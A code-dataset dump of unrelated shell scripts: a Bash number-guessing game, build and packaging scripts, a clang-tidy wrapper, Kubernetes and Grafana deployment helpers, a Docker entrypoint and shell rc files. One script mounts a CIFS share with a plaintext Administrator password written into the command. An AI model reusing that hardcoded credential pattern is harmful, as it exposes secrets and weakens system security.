blob_id
stringlengths 40
40
| language
stringclasses 1
value | repo_name
stringlengths 4
115
| path
stringlengths 2
970
| src_encoding
stringclasses 28
values | length_bytes
int64 31
5.38M
| score
float64 2.52
5.28
| int_score
int64 3
5
| detected_licenses
listlengths 0
161
| license_type
stringclasses 2
values | text
stringlengths 31
5.39M
| download_success
bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
08359337c36c24d6e9888441bfa13bf206c5c57b
|
Shell
|
ksy141/scripts
|
/remove_H.sh
|
UTF-8
| 189
| 3.25
| 3
|
[] |
no_license
|
#!/bin/bash
if [ "$1" == "-h" ]; then
echo "Useage: bash $0 pdb_file"
echo "Delete the line if atomtype is H"
exit 0
fi
cat $1 | awk '$1 == "TER" || ($1 == "ATOM" && $3 ~ /^[^0-9H]/)'
| true
|
3a257f199587c062ca7a5dc3c058d88e306c5baf
|
Shell
|
lapher/ShellScript
|
/3-2-7.bash
|
UTF-8
| 1,903
| 3.484375
| 3
|
[] |
no_license
|
#!/bin/bash
#Description: 3-2-7 (1A2B)
#Write By : CC104 鄭景文 13
#Version:
declare -a arrayANS
declare -a arrayG #Guess
declare -a arrayT #test
declare -a arrayAB #?A?b
function RAN () {
let varANS=$RANDOM*10/32767
}
#RANDOM
for (( y=0; y<=3; y=y+1 ))
do
RAN
flag="error"
until [ $flag == "ok" ]
do
for (( i=0; i<$y; i=i+1 ))
do
while [ ${arrayANS[$i]} == $varANS ]
do
RAN
i=0
done
done
flag="ok"
done
arrayANS[$y]=$varANS
done
#echo ${arrayANS[*]}
num=0
#START
ansFlag="ERROR"
while [ $ansFlag == "ERROR" ]
do
#GAME START !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
echo "GAME START !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
read -p "start: " varG
#CHECK
if [ ! -z ${varG:4:1} ]
then
echo " Please try again "
continue
fi
#HISTORY
#if [ $varG == "history" ]
#do
# echo $
#done
#fi
x1=${varG:0:1}
x2=${varG:1:1}
x3=${varG:2:1}
x4=${varG:3:1}
arrayT=($x1 $x2 $x3 $x4)
echo ${arrayT[*]}
a=0
b=0
#SAVE
arrayG[$num]=$varG
#echo "CHECK NUMBER B !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
for (( x=0; x<=3; x=x+1 ))
do
for (( y=0; y<=3; y=y+1 ))
do
asdf=${arrayT[$y]}
qwer=${arrayANS[$x]}
if [ $asdf == $qwer ]
then
let b=$b+1
fi
done
done
#CHECK NUMBER A !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
for (( x=0; x<=3; x=$x+1 ))
do
xx1=${arrayT[$x]}
aa1=${arrayANS[$x]}
if [ $xx1 == $aa1 ]
then
let a=$a+1
let b=$b-1
# echo "OK"
fi
done
#SAVE
arrayAB[$num]=$a$b
let num1=$num
let num=$num+1
#YOUR ANSWER
echo "====================="
echo " Guess: $num "
echo " $a A $b B "
echo ""
echo " History: "
for (( x=0; x<=$num1; x=x+1 ))
do
echo " ${arrayG[$x]} : ${arrayAB[$x]:0:1} A ${arrayAB[$x]:1:1} B "
done
echo "====================="
echo ""
echo ""
# Ture? Fals?
if [ $a -eq 4 ]
then
ansFlag="OK"
echo "CORRECT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
else
ansFlag="ERROR"
fi
#END
done
exit 0
| true
|
fb0cbde05766b862cfa0eb4d07b2e5c610d7db6f
|
Shell
|
apfohl/listy
|
/boot/01-init.sh
|
UTF-8
| 476
| 3.21875
| 3
|
[] |
no_license
|
#!/bin/sh
HOSTNAME=`hostname -f`
DOMAIN=`hostname -d`
LISTY_DOMAIN="${LISTY_DOMAIN:-$HOSTNAME}"
# Initialization
INIT_TOKEN=/data/.initialized
if [ ! -f "$INIT_TOKEN" ]; then
echo "Initializing..."
mv /init/mailman /data
rm -r /init
sed -i "s/lists.example.com/$LISTY_DOMAIN/g" /usr/local/mailman/Mailman/mm_cfg.py
touch $INIT_TOKEN
echo "... DONE."
fi
postconf -e "mydestination = \$myhostname, localhost.\$mydomain, localhost, $LISTY_DOMAIN"
| true
|
678d93c05c487c22fa2cc03df39f2701a7d34d54
|
Shell
|
alexgenaud/twine
|
/twine-start.sh
|
UTF-8
| 628
| 3.828125
| 4
|
[
"LicenseRef-scancode-ryszard-szopa"
] |
permissive
|
#!/bin/bash
SERVERSUFFIX=redis-server-1.2.6
USE_HOST=$1
# if no arguments, then we must be sure
# there is only one host in the partitions directory
if [ $# -eq 0 ]; then
USE_HOST=_BOGUS_DIRECTORY_
if [ `ls partitions|wc -l` -eq 1 ]; then
if [ -r partitions/`ls partitions` ]; then
USE_HOST=`ls partitions`
fi
fi
fi
if ! [ -r partitions/$USE_HOST ]; then
echo usage: twine-start HOST
ls partitions
exit 1
fi
cd partitions/${USE_HOST}
for server in `find -mindepth 1 -maxdepth 1 -type d`; do
if [ -r ${server}/start.sh ]; then
cd $server
sh start.sh
cd ..
fi
done;
cd ../..
exit 0
| true
|
9a863bfe0bcf97882443eb2cfdc973e6c6f36621
|
Shell
|
IgorBMSTU/controller_deploy
|
/overlayroot_managing/show_mode.sh
|
UTF-8
| 446
| 3.3125
| 3
|
[] |
no_license
|
#!/bin/bash
set -e
curr_dir="$(dirname "$BASH_SOURCE")"
source "${curr_dir}/include/common.sh"
check_overlayroot
overlayroot_mounted=$_RET
overlayroot_not_mounted_error=$_ERROR_MSG
overlayroot_upperdir=$_UPPER_LAYER
active_mode=$_ACTIVE_MODE
if $overlayroot_mounted; then
log_info "Overlayroot is mounted"
else
log_info "Overlayroot is not mounted, the reason: ${overlayroot_not_mounted_error}"
fi
log_info "Active mode is ${active_mode}"
| true
|
e43cce587b068e09f7b5e2cfadf184ab50b0a075
|
Shell
|
aur-archive/lcalc
|
/PKGBUILD
|
UTF-8
| 978
| 2.609375
| 3
|
[] |
no_license
|
# Maintainer: Antonio Rojas <nqn76sw@gmail.com>
pkgname=lcalc
pkgver=1.23
pkgrel=2
pkgdesc="C++ L-function class library and command line interface"
arch=('i686' 'x86_64')
url="http://oto.math.uwaterloo.ca/~mrubinst/L_function_public/L.html"
license=('GPL2')
depends=()
source=("http://oto.math.uwaterloo.ca/~mrubinst/L_function_public/CODE/L-$pkgver.tar.gz" 'Lcommon.h.patch' 'gcc-4.9.patch')
md5sums=('8262d4495e0bbe0283e5341ef8694c23'
'717f630a387fb1a4569e843a421f30cc'
'436dd35b06766dffad0941bcfb511e89')
prepare() {
cd L-$pkgver
patch -p1 -i $srcdir/Lcommon.h.patch
patch -p1 -i $srcdir/gcc-4.9.patch
}
build() {
cd L-$pkgver/src
make
}
package() {
cd L-$pkgver/src
mkdir -p "$pkgdir"/usr/{bin,include,lib}
make INSTALL_DIR="$pkgdir"/usr install
# remove leftover files
rm "$pkgdir"/usr/include/Lfunction/{Lexplicit_formula.h.swap.crap,.Lexplicit_formula.h.swp}
# fix wrong permissions
chmod 644 "$pkgdir"/usr/include/Lfunction/Ldokchitser.h
}
| true
|
4be40d613d3a233aaa3932fbbbe8c6820713057f
|
Shell
|
phanviet/beekids-devops
|
/init.sh
|
UTF-8
| 561
| 3.265625
| 3
|
[] |
no_license
|
#!/bin/bash
BACKEND_LANDINGPAGE_REPO=git@github.com:phanviet/bk-backend-landingpage.git
BACKEND_SHOP_REPO=git@github.com:phanviet/kid.git
FRONTEND_LANDINGPAGE_REPO=git@github.com:phanviet/beekids-landingpage.git
CURRENT_DIR=$(pwd)
init_repo () {
if [ ! -d "$1" ]
then
git clone $2 $1
fi
}
# Clone backend repos
mkdir -p backend && cd backend
init_repo "shop" $BACKEND_SHOP_REPO
init_repo "landingpage" $BACKEND_LANDINGPAGE_REPO
# Clone frontend repos
cd $CURRENT_DIR
mkdir -p frontend && cd frontend
init_repo "landingpage" $FRONTEND_LANDINGPAGE_REPO
cd $CURRENT_DIR
| true
|
90926c0d079193319a7f984e628725c42eca6a26
|
Shell
|
petronny/aur3-mirror
|
/apr-util-mysql/PKGBUILD
|
UTF-8
| 793
| 2.53125
| 3
|
[] |
no_license
|
# Contributor: Daniele Paolella <dp@hostess-promoter.com>
pkgname=apr-util-mysql
pkgver=1.3.12
pkgrel=1
pkgdesc="The Apache Portable Runtime with MySQL support"
arch=('i686' 'x86_64')
url="http://apr.apache.org/"
depends=('apr' 'gdbm' 'expat' 'db' 'libldap' 'unixodbc')
options=('!libtool')
license=('APACHE')
provides=("apr-util==$pkgver")
conflicts=('apr-util')
changelog=ChangeLog
source=("http://www.apache.org/dist/apr/apr-util-$pkgver.tar.bz2")
md5sums=('0f671b037ca62751a8a7005578085560')
build() {
cd "$srcdir/apr-util-$pkgver"
./configure --prefix=/usr --with-apr=/usr \
--without-pgsql --with-mysql --without-sqlite2 --without-sqlite3 \
--with-berkeley-db=/usr --with-gdbm=/usr --with-ldap
make
}
package() {
cd "$srcdir/apr-util-$pkgver"
make DESTDIR="$pkgdir/" install
}
# vim:set ts=2 sw=2 et:
| true
|
2ca088fea95bd7fe5d606f238a047d106083ed40
|
Shell
|
pensz/arduino_work
|
/HomeLink/testclient.sh
|
UTF-8
| 948
| 3.84375
| 4
|
[] |
no_license
|
#!/bin/bash
if [ -z "$1" ]
then
echo "Usage : $0 devicefile "
exit 1
fi
ARDUINO_PORT=$1
ARDUINO_SPEED=9600
# Set speed for usb
uname=$(uname)
if [ "$uname" == 'Linux' ]
then
stty -F $ARDUINO_PORT ispeed $ARDUINO_SPEED ospeed $ARDUINO_SPEED
elif [ "$uname" == 'Darwin' ]
then
stty -a -f $ARDUINO_PORT speed $ARDUINO_SPEED
fi
echo "Set speed OK"
# Redirect Arduino port to file descriptor 6 for reading later
exec 6<$ARDUINO_PORT
echo "Redirect OK"
sleep 3 # Wait for Arduino is ok
function rw {
echo -ne $1'\0' > $ARDUINO_PORT
while true # Wait for Arduino reply
do
read -u 6 f
if [ -z "$f" ]
then
continue
else
break
fi
done
# Remove trailing carriage return character
f=${f:0:${#f}-1}
echo "Reply: $f"
}
#rw "T FDB04F"
#sleep 8
rw "T FD40BF"
rw "T FD906F"
#rw "hello"
#rw "auth"
#rw "username:pensz"
#rw "password:pensz"
| true
|
d8d568e57c00ebc1cd405b338029338213bdff7d
|
Shell
|
linushsao/script
|
/my_switch.sh
|
UTF-8
| 302
| 3.171875
| 3
|
[] |
no_license
|
#!/bin/bash
PATH_SCRIPT="/home/linus/script"
PATH_LOG="/home/linus/log"
FLAG="ON"
case $1 in
"on")
touch ${PATH_LOG}/TIMER
;;
"off")
mv ${PATH_LOG}/TIMER ${PATH_LOG}/TIMER_OFF
;;
*)
echo "wrong param{now TIME_PERIOD / clock TIME_START TIME_STOP TIME_ALARM}"
exit 0
;;
esac
| true
|
b706407fa06a322fe5db41fef07553c08f9c9f30
|
Shell
|
wangguitao/intelligent-protector
|
/ci/script/codebin/copyPkgToCompareFromALM.sh
|
UTF-8
| 368
| 2.90625
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/sh
MAIN_PATH=`pwd`
umount /home/dirALM
mount -t cifs -o username=Administrator,password=Huawei@123 //10.183.52.105/codebin/alm /home/dirALM
if [ $? -ne 0 ]
then
echo "ERROR:mount //10.183.52.105/codebin/win_dest to /mnt failed!"
exit 1
fi
cd /home/compareCode
dest_file=`find ./ | grep Agent.zip`
cp -r "$dest_file" /home/dirALM
umount /home/dirALM
| true
|
bd641d4730ae797bb8f4588dd0aca6a08861b966
|
Shell
|
DeNA/Login-Toboggan-Unity
|
/LoginToboggan/Assets/MobageNDK/MobageNDK.bundle/Tools/android/installFacebook.sh
|
UTF-8
| 6,533
| 3.03125
| 3
|
[] |
no_license
|
while getopts D:I:S:P:O:U: option
do
case "${option}"
in
D) eval WORKSPACE=${OPTARG};;
I) eval INSTALL_DIR=${OPTARG};;
S) eval SDK_DIR=${OPTARG};;
P) eval PACKAGE_DIR=${OPTARG}
CREATEPACKAGE=true;;
U) eval UNITY_APP=${OPTARG};;
O) ONLYPACKAGE=true;;
esac
done
echo "$WORKSPACE $INSTALL_DIR $SDK_DIR"
if [ ! -n "$WORKSPACE" ]; then
cat installFacebook.README
echo "WORKSPACE $WORKSPACE not found"
exit 1
fi
if [ ! -n "$INSTALL_DIR" ]; then
cat installFacebook.README
echo "Install Directory $INSTALL_DIR not found"
exit 1
fi
if [ ! -n "$SDK_DIR" ]; then
cat installFacebook.README
echo "SDK Directory $SDK_DIR not found"
exit 1
fi
if [ ! -d "$SDK_DIR" ]; then
cat installFacebook.README
echo "SDK Directory $SDK_DIR not found"
exit 1
fi
if [ -d $WORKSPACE ]; then
if [ -d $INSTALL_DIR ]; then
echo "cp files to cp -r $WORKSPACE/res/ $INSTALL_DIR/Assets/Plugins/Android/res/facebook/"
if [ -d "$INSTALL_DIR/Assets/Plugins/Android/res/facebook/" ]; then
rm -rf $INSTALL_DIR/Assets/Plugins/Android/res/facebook/
fi
if [ ! -d "$INSTALL_DIR/Assets/Plugins/Android/res/" ]; then
echo "mkdir $INSTALL_DIR/Assets/Plugins/Android/res"
mkdir $INSTALL_DIR/Assets/Plugins/Android/res/
fi
if [ ! -d $INSTALL_DIR/MobageNDK/Android/ ]; then
mkdir $INSTALL_DIR/MobageNDK/Android/
fi
if [ -d $INSTALL_DIR/MobageNDK/Android/ ]; then
if [ -d $INSTALL_DIR/MobageNDK/Android/mobageFacebook ]; then
rm -rf $INSTALL_DIR/MobageNDK/Android/mobageFacebook
fi
mkdir $INSTALL_DIR/MobageNDK/Android/mobageFacebook
cp -r $WORKSPACE/ $INSTALL_DIR/MobageNDK/Android/mobageFacebook/
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/src ; find . -name "*.java" | while read filename; do if grep -q "com.facebook.android.R" ${filename}; then sed -i old s/com.facebook.android.R/com.facebook.MobageFacebookResources/g ${filename}
sed -i old 's/\([ (,]\)R\./\1MobageFacebookResources\./g' ${filename};
sed -i old 's/\(MobageFacebookResources\.[a-z]*\)\./\1("/g' ${filename};
sed -i old 's/\(MobageFacebookResources\.[a-z]*("[a-z_]*\)/\1")/g' ${filename};
sed -i old 's/\(obtainStyledAttributes([a-z]*,\)\([ ]*\)\(MobageFacebookResources\.[a-z]*("[a-z_]*")\)/\1\2MobageFacebookResources\.convertToArray(\3)/g' ${filename};
echo "/** This file has been modified by DeNA Co., Ltd. */\n" > ${filename}_copyright
cat ${filename} >> ${filename}_copyright
mv ${filename}_copyright ${filename}
rm ${filename}old
fi done
find . -name "WebDialog.java" | while read filename; do
sed -i old 's/\([ (,]\)R\./\1MobageFacebookResources\./g' ${filename};
sed -i old 's/\(MobageFacebookResources\.[a-z]*\)\./\1("/g' ${filename};
sed -i old 's/\(MobageFacebookResources\.[a-z]*("[a-z_]*\)/\1")/g' ${filename};
sed -i old 's/\(obtainStyledAttributes([a-z]*,\)\([ ]*\)\(MobageFacebookResources\.[a-z]*("[a-z_]*")\)/\1\2MobageFacebookResources\.convertToArray(\3)/g' ${filename};
echo "/** This file has been modified by DeNA Co., Ltd. */\n" > ${filename}_copyright
cat ${filename} >> ${filename}_copyright
mv ${filename}_copyright ${filename}
rm ${filename}old
done
mkdir $INSTALL_DIR/MobageNDK/Android/mobageFacebook/src/com/facebook
cp -r $INSTALL_DIR/MobageNDK/Tools/android/MobageFacebookResources.java $INSTALL_DIR/MobageNDK/Android/mobageFacebook/src/com/facebook
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/values ; ls *.xml| xargs -I {} mv {} facebook_{}
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/ ; find . -name "values*" -type d | while read dir; do cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/${dir}; ls strings.xml | xargs -I {} mv {} facebook_{}; done
echo "$INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/ $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/"
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook ; ant -Dsdk.dir=$SDK_DIR clean release
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/bin ; mv classes.jar facebook.jar
if [ ! $ONLYPACKAGE ]; then
if [ -f $INSTALL_DIR/Assets/Plugins/Android/facebook.jar ]; then
rm $INSTALL_DIR/Assets/Plugins/Android/facebook.jar
fi
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/bin ; cp -r facebook.jar $INSTALL_DIR/Assets/Plugins/Android
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/libs/ ; cp -r *.jar $INSTALL_DIR/Assets/Plugins/Android
echo "cp -iR $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/drawable* $INSTALL_DIR/Assets/Plugins/Android/res/"
cp -fR $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/drawable* $INSTALL_DIR/Assets/Plugins/Android/res/
echo "cp -iR $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/layout* $INSTALL_DIR/Assets/Plugins/Android/res/"
cp -fR $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/layout* $INSTALL_DIR/Assets/Plugins/Android/res/
cp -fR $INSTALL_DIR/MobageNDK/Android/mobageFacebook/res/values* $INSTALL_DIR/Assets/Plugins/Android/res/
fi
if [ $CREATEPACKAGE ]; then
echo "CREATE PACKAGE $CREATEPACKAGE"
if [ -d "$PACKAGE_DIR/" ]; then
rm $PACKAGE_DIR
fi
mkdir $PACKAGE_DIR
if [ ! -d "$PACKAGE_DIR/Assets/" ]; then
mkdir $PACKAGE_DIR/Assets
fi
if [ ! -d "$PACKAGE_DIR/Assets/Plugins" ]; then
mkdir $PACKAGE_DIR/Assets/Plugins
fi
if [ ! -d "$PACKAGE_DIR/Assets/Plugins/Android" ]; then
mkdir $PACKAGE_DIR/Assets/Plugins/Android
fi
if [ ! -d "$PACKAGE_DIR/Assets/Plugins/Android/res/" ]; then
mkdir $PACKAGE_DIR/Assets/Plugins/Android/res/
fi
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/bin ; cp -r facebook.jar $PACKAGE_DIR/Assets/Plugins/Android
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/libs/ ; cp -r *.jar $PACKAGE_DIR/Assets/Plugins/Android
cd $INSTALL_DIR/MobageNDK/Android/mobageFacebook/ ; cp -R res/ $PACKAGE_DIR/Assets/Plugins/Android/res
if [ -x ${UNITY_APP} ]; then
${UNITY_APP} -projectPath ${PACKAGE_DIR} -batchmode -quit -exportPackage Assets/Plugins/Android ${PACKAGE_DIR}/mobage-ndk-facebook.unitypackage
rm -rf ${PACKAGE_DIR}/Library
rm -rf ${PACKAGE_DIR}/ProjectSettings
fi
fi
else
echo "MobageNDK not found in your root project please install this first"
exit 1
fi
else
cat installFacebook.README
echo "(Install_DIR) Unity project location"
fi
else
cat installFacebook.README
echo "Facebook Directory not found please pass in the right parameters -D Facebook project directory"
fi
| true
|
a8ae7fe1d4ae52f47fbec81963f4b8e47745eb1c
|
Shell
|
mhailstone/helloWorld
|
/codeship/k8s/kubectl-aws
|
UTF-8
| 171
| 2.84375
| 3
|
[] |
no_license
|
#!/bin/bash
CONF_FILE="/root/.kubectl_config_aws"
if [ ! -f $CONF_FILE ]; then
echo -e $KUBECONFIG_AWS | base64 -d > $CONF_FILE
fi
kubectl --kubeconfig=$CONF_FILE $@
| true
|
d52b4c91bf58da8643e61c7db651f112dc3e790b
|
Shell
|
ygmpkk/house
|
/ghc-6.2/distrib/prep-bin-dist-mingw-hdirect
|
UTF-8
| 943
| 3.9375
| 4
|
[
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-unknown-license-reference",
"SunPro",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
#!/bin/sh
#
# Running 'binary-dist' gives us a tree which
# isn't quite right for the purposes of creating
# a mingw/win32 install tree. This script rejigs
# the tree.
#
# To use:
#
# foo$ cd <top of fptools build tree>
# foo$ make binary-dist Project=Ghc
# foo$ cd ghc-<version>
# foo$ ../distrib/prep-bin-dist-mingw-hdirect <ghc-bin-dist-dir>
#
echo "In prep-bin-dist-mingw-hdirect $1"
binary_dir=../$1
# Play safe
if ! [ -d bin/i386-unknown-mingw32 ] ; then
echo "Doesn't look as if I'm in the toplevel directory of a mingw tree"
echo "Usage: cd <project>-<version> ; ../distrib/prep-bin-dist-mingw-hdirect"
exit 1;
fi;
echo "rejig bin/"
cp bin/i386-unknown-mingw32/ihc.exe $binary_dir/bin
strip $binary_dir/bin/ihc.exe
echo "rejig lib/"
cp -r lib/i386-unknown-mingw32/imports/* $binary_dir/imports
cp lib/i386-unknown-mingw32/*.o $binary_dir
cp lib/i386-unknown-mingw32/*.a $binary_dir
| true
|
f70bb5b7f7e1eec9387ba01f2a80972599d95724
|
Shell
|
harsath/Foo-Parser
|
/CI-script/build_run_test.CI.sh
|
UTF-8
| 508
| 3.546875
| 4
|
[
"MIT"
] |
permissive
|
#!/bin/bash
set -e
set -u
FOO_CONF_FILE=$PWD/tests/parse_file.foo
TEST_BINARY_NAME="parser_test"
if [[ -f ${FOO_CONF_FILE} ]]; then
mkdir build && cd build
cmake .. && make
DIRECTORY_BASE=$(basename $PWD)
if [[ ${DIRECTORY_BASE} == "build" ]]; then
cp ../tests/parse_file.foo ./tests && cd tests
if [[ -f ${TEST_BINARY_NAME} ]]; then
./$TEST_BINARY_NAME
else
echo -e "[ERROR] No binary found to test\n"
exit 1
fi
fi
else
echo -e "[ERROR] There is no foo_parser.foo file\n"
exit 1
fi
| true
|
97f16fcb9b9a8c18220291cce3e9767cd561ac72
|
Shell
|
herbstluftwm/herbstluftwm
|
/ci/clang-and-tidy.sh
|
UTF-8
| 2,874
| 4.03125
| 4
|
[
"BSD-2-Clause"
] |
permissive
|
#!/bin/bash
###
# This script is a wrapper around clang and clang-tidy. It behaves mostly like
# clang (or clang++, depending on the program name), but also executes
# clang-tidy on the given source file.
#
# The purpose of this is to reduce CI check times by tricking ccache into
# serving as a cache for clang-tidy as well. The base assumption for this is
# inputs for clang-tidy match those of the compiler, so a ccache hit implies
# that this file has passed the clang-tidy checks before.
#
# For simplicity, this script makes a couple of assumptions, that hold within
# the our controlled CI environment:
# * there is only ever one source file per compiler invocation
# * the source file is always the last argument
# * the source file name matches *.cpp or *.c
# * the compile_commands.json in the build dir corresponds the current build
# * clang-tidy gets its config string passed via -config=
# * when switching the version of clang or clang-tidy, this script is also
# modified (otherwise ccache wouldn't detect the compiler change)
###
set -o errexit
set -o nounset
# Perform the regular compiler invocation:
progname=$(basename "$0")
if [[ $progname == clang-* ]]; then
clang-10 "$@"
elif [[ $progname == clang++-* ]]; then
clang++-10 "$@"
else
echo >&2 "Error: Cannot handle program name: $progname"
exit 1
fi
# Extract the source file from the call (simply assume it is the last
# argument):
sourcefile=${BASH_ARGV[0]}
# Make sure it is a call for compilation:
if [[ $sourcefile != *.cpp && $sourcefile != *.c ]]; then
exit 0
fi
if [[ ! -v CLANG_TIDY_BUILD_DIR ]]; then
# This is probably a sanity check invocation by cmake, so we should not run
# clang-tidy.
exit 0
fi
###
# All clang-tidy arguments and its configuration must be defined within this
# script, so that ccache can detect changes to the configuration.
###
checks=""
function add_check() {
checks=${checks:+$checks,}$1
}
add_check readability-braces-around-statements
add_check google-readability-braces-around-statements
add_check hicpp-braces-around-statements
add_check readability-container-size-empty
add_check bugprone-macro-parentheses
add_check bugprone-bool-pointer-implicit-conversion
add_check bugprone-suspicious-string-compare
add_check cppcoreguidelines-pro-type-member-init
# Sadly, this check gets easily confused by templates and reports false
# positives. Check with newer clang-tidy versions in the future:
#add_check readability-inconsistent-declaration-parameter-name
clang_tidy_args="-header-filter=.* -extra-arg=-Wno-unknown-warning-option -p=${CLANG_TIDY_BUILD_DIR} -config={} -warnings-as-errors=* -checks=$checks"
# Run clang-tidy, but hide its output unless it fails (non-failing stdout
# confuses ccache!)
if ! out="$(clang-tidy-10 $clang_tidy_args "$sourcefile" 2>&1)"; then
echo "$out"
exit 1
fi
| true
|
be94cd418894f8722d40e6cd91a52e66e2c1bc5a
|
Shell
|
ohtuprojekti-medified/adminapp-medified
|
/scripts/lint.sh
|
UTF-8
| 229
| 2.828125
| 3
|
[
"MIT"
] |
permissive
|
#!/bin/bash
lint_project () {
echo $PWD
npm run lint-fix
cd ./frontend
echo $PWD
npm run lint-fix
cd ../backend
echo $PWD
npm run lint-fix
cd ..
}
echo "Fix linting for project"
lint_project
| true
|
726f9d33d03780fbd5ca1c8cd1cb315d5c61090e
|
Shell
|
caoky8989/LVAD
|
/sample-jobscript.sh
|
UTF-8
| 780
| 2.609375
| 3
|
[] |
no_license
|
#!/bin/bash
#SBATCH --nodes=1
#SBATCH --ntasks=24
#SBATCH --time=24:00:00
#SBATCH --mail-type=ALL
#SBATCH --mail-user=<cu-identikey>@colorado.edu
#SBATCH --partition=shas
#SBATCH --output=job-test-Case-01-%j.out
## Written by : Akshita Sahni, 14th July 2021
## Purpose : To submit a svsolver job on RC resources
## purge all existing modules
module purge
## load the mpi, intel and python modules
export MODULEPATH=/curc/sw/modules/spack/spring2020/linux-rhel7-x86_64/Core:$MODULEPATH
module load gcc/6.1.0
module load openmpi/2.0.1
module load singularity/
## run the solver script
echo "job started"
mpirun -n $SLURM_NTASKS singularity exec --bind /scratch/summit /home/keca4089/svsolver_container/simvascular.sif /opt/svSolver/BuildWithMake/Bin/svsolver-openmpi.exe solver.inp
echo "job ended"
| true
|
a7139cc3dec6a8a731c2b78f3216051c50f731c7
|
Shell
|
sirosen/sirosen-config
|
/files/zsh/myfuncs/base.sh
|
UTF-8
| 293
| 2.5625
| 3
|
[] |
no_license
|
venv-activate() {
source "$1"/bin/activate
}
forget-known-host () {
ssh-keygen -f ~/.ssh/known_hosts -R "$1"
}
lgrep () {
ls -lA | grep "$@"
}
source ~/.myfuncs/setup.sh
source ~/.myfuncs/terminal.sh
source ~/.myfuncs/aws.sh
source ~/.myfuncs/git.sh
source ~/.myfuncs/vmware.sh
| true
|
5d747af458e3ae688db7e58a47a58949a8e4305a
|
Shell
|
vitorqb/pacs
|
/docker/entrypoint
|
UTF-8
| 937
| 3.34375
| 3
|
[] |
no_license
|
#!/bin/bash
USAGE="$0"'
Entrypoint for pacs docker image.'
# getopt
SHORT='h'
LONG='help'
OPTS="$(getopt --options $SHORT --long $LONG --name "$0" -- "$@")"
! [ "$?" = 0 ] && echo "$USAGE" 1>&2 && exit 1
eval set -- "$OPTS"
while [[ "$#" -gt 0 ]]
do
case "$1" in
-h|--help)
echo "$USAGE"
exit 0
;;
--)
shift
;;
*)
{ echo "ERROR: Unknown parameter" ; echo "$USAGE" ; } 1>&2
exit 1
;;
esac
done
# Script
set -e
# Welcome
echo '------------------------------------------------------------'
echo '--------------- PACS (prod) ENTRYPOINT -------------------'
echo '------------------------------------------------------------'
# Manage thingies
inv collectstatic --no-input migrate --no-input populate-db
# Gunicorn
/usr/local/bin/gunicorn --access-logfile='-' --bind=0.0.0.0:8000 'pacs.wsgi:application'
| true
|
219e8ada7e7316deb35470dc3c895272cfc964a5
|
Shell
|
samidbb/k8s-monitoring
|
/deploy-grafana.sh
|
UTF-8
| 1,443
| 3.703125
| 4
|
[] |
no_license
|
#!/bin/bash
set -e
echo 'Checking for required environment variables...'
if [[ -z $NAMESPACE || -z $SLACK_CHANNEL || -z $SLACK_URL || -z $ADMIN_PASSWORD ]]; then
echo 'required environment variables missing'
exit 1
fi
# Generate variables from script input
KUBE_ROLE="$NAMESPACE-fullaccess"
ROOT_URL="https://%(domain)s/$NAMESPACE"
# Define function to render values.yaml template
function render_template() {
eval "echo \"$(cat $1)\""
}
# Generate values.yaml file from template
function generate_values_yaml {
echo "Creating values.yaml file"
render_template grafana/templates/template-helm-values.yaml > values.yaml
}
generate_values_yaml
echo "Applying configmaps"
kubectl --namespace $NAMESPACE apply -f grafana/configmaps/
echo "Creating secret 'grafana-password'"
secret="grafana-password"
kubectl --namespace $NAMESPACE create secret generic "$secret" --from-literal=admin-user=admin --from-literal=admin-password="$ADMIN_PASSWORD"
echo "Register Grafana Helm repo"
helm repo add grafana https://grafana.github.io/helm-charts
helm repo update
echo "Deploying Grafana through Helm"
helm --namespace $NAMESPACE upgrade --install grafana grafana/grafana -f values.yaml --set admin.existingSecret="$secret"
echo "Your can access your grafana the following information:"
echo "URL: https://grafana.hellman.oxygen.dfds.cloud/$NAMESPACE"
echo "Username: admin"
echo "Password: Your Chosen Password from parameters"
| true
|
4d50e5a65d681557a38c4dc7e986bb3df7be12c9
|
Shell
|
lonslonz/PrimeMailer
|
/bin/unittest.sh
|
UTF-8
| 388
| 2.59375
| 3
|
[] |
no_license
|
#!/bin/bash
bin=`dirname "$0"`
bin=`cd "$bin"; pwd`
. "$bin"/config_unit.sh
UNITTEST_CLASS="com.skplanet.cask.test.Runner"
#echo "unit dir:$UNITTEST_DIR"
#echo "unit class:$UNITTEST_CLASS"
#echo "class path:$CLASSPATH"
#exit 3
#echo "java -Dserver.home=$UNITTEST_DIR -cp $CLASSPATH $UNITTEST_CLASS start"
java -Dserver.home=$UNITTEST_DIR -cp $CLASSPATH $UNITTEST_CLASS start
exit $?
| true
|
8a4c8292fa1306b604347ef2581c55e13c223466
|
Shell
|
russbt/dotfiles
|
/tcsh/cshrc
|
UTF-8
| 863
| 2.734375
| 3
|
[] |
no_license
|
# permit over-write of files
unset noclobber
# set depth of command history
setenv savehist "1000 merge lock"
setenv histfile "~/.history"
# set a useful prompt
set prompt="%m %c %h> "
# set up access to local installs
if ( -d $HOME/local/lib ) then
setenv LD_LIBRARY_PATH "${HOME}/local/lib:${LD_LIBRARY_PATH}"
endif
if ( -d $HOME/local/bin ) then
setenv PATH "${HOME}/local/bin:${PATH}"
endif
